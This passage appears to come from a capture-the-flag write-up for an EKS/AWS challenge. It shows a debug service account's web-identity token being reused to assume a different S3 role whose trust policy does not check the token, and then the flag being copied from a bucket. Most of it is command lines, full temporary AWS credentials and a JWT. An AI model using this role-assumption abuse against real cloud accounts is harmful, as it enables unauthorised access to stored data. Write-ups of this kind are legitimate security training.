        "Arn": "arn:aws:sts::688655246681:assumed-role/challengeTestRole-fc9d18e/challenge5"
    },
    "Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
    "Audience": "sts.amazonaws.com"
}
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVM6OOLSC6X
export AWS_SECRET_ACCESS_KEY=yL0R0E6BcfJMr3w+ieLz0rSGClfjT4ZfSb4feaW4
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEF4aCXVzLXdlc3QtMSJHMEUCID4vygKHnQl2zp4cHMKWrkG3NBx3bIgsLH/UNOQWpPqmAiEA2FqhUwoEU5HLIwt4rpQ/WwaDQWuMmRF3C33kVS5epfgqxAQIl///////////ARAAGgw2ODg2NTUyNDY2ODEiDDD2YfIyjAhzwcHU2CqYBElY89dnewlWGLwNCjtxKvAbx9OWSvXF3OkGXC7QJvq7w5Lod+oUiAdyYPRhNreIc06XU/LuCZUEXtgbaQbKmN84l/7tbT7OVXTXbGxc4knhykkRdchvSl7vPAmUCQJxSUykGtxNAR4PMR3LkRtM1MPjed6BgVEVL2IZB+AjmjQ/tMteQdVgfdbDKcui8GWz/eu3zS5x0lGaSO6HUkA7Punhn8WMSpkQX4vBDSDVHZKnX2z/T1WzIAjiGOLf92TvQrTX4xOrMAjwTT+ZZ99OFrcpoC/LkU+olPya6IHdHY6IYTMZXnOzZptUjshIN1+aitrfX9CvtWboXnDzbKNZxgxTmOZOPBQ/Vzl9PNQ35eJw7tfibkcwSiPQ2TxTrDBCrvLP8X13CMXPSIZVNDWu4zjqNAD7FGyMQ4wyIg59GAdJ3CyW2VEi0GNAd+p6psDscI/ch7YOKfmyXAu2PtGL28x+lfnOsPNvmCUquNwBgxi+NvJcFUyaZYJyH62+lohDhhvh9dW2Xdlg7vECwJORahZPujpvbJ0TSFPu7TQnFBiY7dxURuUY1+5ErnMl47DZMcK2SoTFW4FeP+I8eERjGUH/fEziUfRZmRBh//A328JXSnDeaeLnzB2CuMvtns61InSX/wt12cD/8+/hWQ6jTPP9K6cLSEX0KjQutLV8yMMB5D4P36cuuHf9n1V0LqD15oLcNG1fTVlcMLGzpaoGOpUBfIOL7CQa42ypxEdhCWkbGQOnXIUMCqnWQd/KgPC/w6PJXiSyJhfJmN0XXFRqY29HZEZH4En/YsRFHoH9xM8Zv4U9tL0fWfgb3ELt9xbgoDm5mVl995s5vihAfaNaF4CVmbAx58jat4+L8AytkFKEQ22jb8a+4ICWlRa/3jjvl1IaFUTIZWGZ6wKyty8gU0hSPiI0x78=

aws sts get-caller-identity
# {
#     "UserId": "AROA2AVYNEVM6G5PAIL7U:challenge5",
#     "Account": "688655246681",
#     "Arn": "arn:aws:sts::688655246681:assumed-role/challengeTestRole-fc9d18e/challenge5"
# }

aws s3 ls
# An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied

Sadly that user does not have any permissions 🥲

But luckily the trust policy on the IAM does not check the token. Instead of using the debug role specify the S3 role.

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name challenge5-s3 --web-identity-token 'eyJhbGciOiJSUzI1NiIsImtpZCI6IjZkMjNjYTkwMGI2MTVhYWJmNTBmYWJlZDc0NzA1OTNiNjIyMDA5NmYifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNjk5MzA5MjQ5LCJpYXQiOjE2OTkzMDU2NDksImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTY5OTMwNTY0OSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.UIt0jBu9uGxqwXb0UYZKoOO9AqvwzEht2exCbEN7p4v8KllN9OKDBLXsa8hFRQSzi2asxvO8zavUZraQSHVlXgytYJGQfhPaA6swzL6ZCpp0wZD37OqaO4HRQSYzcnYDzrofWWstBrQ7IY0OIwEgPZXqQXe79DY3v5etOEjltUvQJ6AnEIky180Griv_mWRsA87NYbFL_PxNVTIf3JqJz1ZwPsajNaEO3TXQT6Degkfw25nycewFLzZ-IrtTkblL77tLgtCe41dNXjPqEpg_PXtv8s-fBSgaNFk1CjVVSXjM7OLplAQbQKbvKzS-OekKkyEhKw3zOHHJc-XkTRls7A'

export AWS_ACCESS_KEY_ID=ASIA2AVYNEVM4ZT2W3OX
export AWS_SECRET_ACCESS_KEY=BW1ahcj1LFRX/ARHBhp3DF07II4jhpZeU0o19Og1
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEF4aCXVzLXdlc3QtMSJHMEUCIQC2UNR3oaFJ7+IwDFaSoK9ab3A6B4qRNjulrq6bx9Sc0gIgdet4DKUj8F0IiqljL9ymGEvouLKa9suVUQDENZkCSEwqxwQIl///////////ARAAGgw2ODg2NTUyNDY2ODEiDPsF2Tm1tg4njZZMDiqbBI7+kdOUECKU6EkGSFn8dDVFsGwT6pEkVe8Ih5QYC9q0AqjvjBWH1XEK9IuVKOFQl0o2L9GcFpwqmAaapedJP52/uGBKXFBLGvqevRsnZkc1CnNvgztYmi+UCBWTB0bn2w9XJqX5sNEKEQIkXExcYzb37kdfrU+ulseNaJBra4DqSS9QzjfTs8VqyZhm3/1N2nEn95kp+bp78CDp5Y0drvtAMYlfzhIL2SW7iO7zEmuj8KFsVflAU5bkketCLYWZlA1Uyg0uCKY97oVkKqSlD2w8U6DK3EkqS2EBqJrF2vUdKoDTa2rFRgmo9pLeevwQDmX59vR8tGyJ0ZXeUv1c7+tgDRcPokOb3ojPSRNOTk5TBoWJqyJfP8G1JGgS6RkYQvprKPj+PysIQJNGR2yCVmq+z6fj3duMji4T8F2zbWFZAJNCZi8xwgenjKdMlxIUdQKvdDlGd0dLTJmI7rnVlcbu2szTLXosyhbHWYupNfo7laPFCRCD4x+s8tiwoHFwoSEz8xN2hUfqdBxCB1S84DgNlIQloUVtkh2fobB/USbbU3s3KPTLJFydjmKU7YOcHjiP78iRSt9z7BllB8hKFBVxHD6tvdWJmndEd8cYrOueai5Sj2P/1+8DsykQY0uXKNgBimz6dDqpZ793+Bk5WGqQu1jlgQwqG6DATqcHHvleIG7CAsPLRlhPHr8gNqEqlgUYMiuGSDrm2VkDMLy2paoGOpUB1+r2i88tYrml7bpZLu3PwZa5eA8iSO4W0jvHnFbBnd+fS1gzpgAC/xuL5KV1PYftYU7kZpzmk4xdhzpvWL2Qzbu5qW9Ag5dkEZgOyRd5Jhcaw1sNPubpZrnduf2D5wysDosdhRuC11Su1jqbRrvEQoeIs8wcbL387b31LcqodBVVdCsgz4BAJf/FTLVpxXpXemQEvmk=

aws sts get-caller-identity
# {
#     "UserId": "AROA2AVYNEVMZEZ2AFVYI:challenge5-s3",
#     "Account": "688655246681",
#     "Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/challenge5-s3"
# }

Now our identity is the role that can view S3 buckets!

aws s3 ls
# An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied

# What did we do wrong, looks at policy...

aws s3 ls challenge-flag-bucket-3ff1ae2
# 2023-11-01 08:27:55         72 flag

aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag .

cat flag
# wiz_eks_challenge{w0w_y0u_really_are_4n_eks_and_...}